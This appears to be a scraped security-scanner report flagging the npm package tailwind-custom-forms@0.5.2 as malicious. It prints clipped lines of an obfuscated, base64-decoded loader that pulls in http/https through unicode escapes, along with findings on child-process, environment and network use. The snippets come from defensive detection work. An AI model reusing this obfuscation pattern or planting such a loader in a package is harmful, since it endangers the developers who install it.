tailwind-custom-forms@0.5.2: Malicious npm security report

Loading npm security reports…

Source & flagged code

4 flagged

src/index.js#virtual:base64:round1View file

1global.i="A10-npm-handy";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073")...

High

Child Process

Package source references child process execution.

src/index.js#virtual:base64:round1View on unpkg · L1

1global.i="A10-npm-handy";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073")...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

src/index.jsView file

Lines 1-1javascript

1const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFontSize,{lineHeight:baseLineHeight}]=defaultTheme.fontSize.base,{spacing:

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L1

Long lines were clipped for display.

•matchType = previous_version_dangerous_delta matchedPackage = tailwind-custom-forms@0.5.1 matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.1 similarity = 0.750 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

src/index.jsView on unpkg

Source & flagged code

4 flagged · loading source

src/index.js#virtual:base64:round1View file

1global.i="A10-npm-handy";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073")...

High

Child Process

Package source references child process execution.

src/index.js#virtual:base64:round1View on unpkg · L1

1global.i="A10-npm-handy";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073")...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

src/index.jsView file

tailwind-custom-forms@0.5.2: Malicious npm security report | LPM Firewall

tailwind-custom-forms

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Behavioral surface

Source & flagged code